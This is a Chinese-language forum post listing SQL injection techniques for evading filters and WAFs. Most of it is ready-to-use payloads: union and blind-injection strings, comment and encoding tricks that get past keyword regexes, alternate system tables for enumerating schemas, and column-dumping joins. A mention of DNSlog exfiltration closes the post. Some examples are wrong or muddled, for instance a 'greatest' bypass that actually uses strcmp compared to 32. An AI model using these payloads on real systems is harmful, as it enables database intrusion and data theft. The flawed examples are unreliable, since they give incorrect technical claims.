WEB安全--SQL注入--bypass本事

王海鱼  金牌会员 | 3 天前 | 来自手机 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 893|帖子 893|积分 2679

一、SQL注入时绕过过滤:


1.1、符号被过滤:

1.1.1、空格:

  1. #1.利用括号绕过:
  2. ?id=1'and(sleep(ascii(substr(database(),(1),(1)))>115))--
  3. #2.利用/**/绕过:
  4. ?id=-1'and/**/updatexml(1,concat(database(),0x7e),1)--
  5. #3.利用%0a|%0b|%0c|%09|%a0绕过:
  6. ?id=-1'and%0aunion%0aselect%0a1,2,database()--
复制代码
1.1.2、引号:

  1. #1.十六进制编码绕过:
  2. select column_name from information_schema.tables where table_name="users"
  3. select column_name from information_schema.tables where table_name=0x7573657273
  4. #2.反引号``绕过:
  5. select * from `users`;
复制代码
1.1.3、逗号:

  1. #1.在substr()、mid()这样的阶段函数中,可以用from for绕过:
  2. substr(str from pos for len)
  3. #2.使用join关键字绕过:
  4. union select 1,2,3
  5. union select * from (select 1)a join (select 2)b join (select 3)c
  6. #3.在limit中使用offset绕过:
  7. select * from users limit 0,1
  8. select * from users limit 1 offset 0
复制代码
1.1.4、“< >”:

  1. greatest(n1,n2,n3,...) //返回其中的最大值
  2. strcmp(str1,str2) //当str1=str2,返回0,当str1>str2,返回1,当str1<str2,返回-1
  3. strcmp(substr(database(),1,1),'s')
  4. in 操作符
  5. between and //选取介于两个值之间的数据范围。这些值可以是数值、文本或者日期。
  6. 使用greatest()、least():(前者返回最大值,后者返回最小值)
  7. 同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。
  8. 最常见的一个盲注的sql语句:
  9. select * from users where id=1 and ascii(substr(database(),1,1))>64
  10.                                                                
  11. 此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,…)函数返回输入参数(n1,n2,n3,…)的最大值。
  12. 那么上面的这条sql语句可以使用greatest变为如下的子句:
  13. select * from users where id=1 and strcmp(ascii(substr(database(),1,1)),32)=32
复制代码
1.1.5、解释符:

  1. #1.闭合后面的引号:
  2. id=-1' union select 1,user(),3 and '1'='1
  3. #2.截断后面的语句:
  4. id=-1' union select 1,user(),3;%00
复制代码
1.1.6、等号:

  1. #1.like:
  2. select * from users where id like 1;
  3. #2.正则:
  4. select * from users where username regexp('admin');
复制代码
1.2、关键字被过滤:

如union、select、where等:
  1. #1.如果关键字被替换为空,使用双写或大小写绕过:
  2. ?id=-1'UniOn SelECt 1,2,database()--
  3. ?id=-1'ununionion selselectect 1,2,user()--
  4. #2.如果关键字被正则匹配过滤,可以在注释中写关键字:
  5.     waf: \bunion(.*?)select\b
  6.     payload: /*!50000union/**//**/all*//*!select*/  --绕过\b匹配单词边界
  7.              /*!%55NiOn*//*!%53eLEct*/              --通过url_encode绕过
  8.              /**/UNION/**//*!50000SELECT*//**/
  9.              /*--*/union/*--*/select/*--*/
  10.              /**/uNIon/**/sEleCt/**/
  11.              1e0union/**/select           
  12. ?id=1e0union/**/(select+1,(select/**/schema_name/**/from/**/information_schema.schemata
  13. /**/limit/**/0,1),3)#                               --科学计数法绕过\b匹配单词边界
复制代码
information_schema:
  1. #1.双写:
  2. infinformationormation_schema
  3. information_schschemaema
  4. #2.十六进制编码:
  5. 0x696e666f726d6174696f6e5f736368656d61
  6. #3.字符串拼接:
  7. CONCAT('info', 'rmation_schema')
  8. #4.找其他库替换:
  9. performance_schema                         --系统数据库
  10. sys.schema_auto_increment_columns          --超级管理员权限
  11. sys.schema_table_statistics_with_buffer    --超级管理员权限
  12. sys.x$schema_table_statistics_with_buffer  --超级管理员权限
  13. mysql.innodb_table_stats                   --只能查出数据库和表名,查不出字段
  14. --爆表名:
  15. ?id=-1' union select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+
  16. ?id=-1' union select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+
  17. --爆字段名:
  18. --获取第一列的字段名及后面每一列字段名:
  19. ?id=-1' union select*from (select * from users as a join users as b)as c--+
  20. ?id=-1' union select*from (select * from users as a join users b using(id,username))c--+
  21. ?id=-1' union select*from (select * from users as a join users b using(id,username,password))c--+
复制代码
1.3、函数被过滤:

1.3.1、用效果相同的函数取代:

  1. substr()、substring() ==> left()、right()、mid()、lpad()、rpad()
  2. hex()、bin() ==> ascii()
  3. sleep() ==> benchmark()
  4. concat_ws()==>group_concat()
  5. @@user ==> user()
  6. @@datadir ==> datadir()
复制代码
1.3.2、用生僻函数取代:

  1. polygon() ==> updatexml()
复制代码


二、绕过输出内容的过滤:


  1. #1.转码:
  2. base64_decode()
  3. hex()
  4. #2.解密:
  5. md5
  6. #3.将查询结果写入文件再读取:
  7. dnslog外带
复制代码


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

王海鱼

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表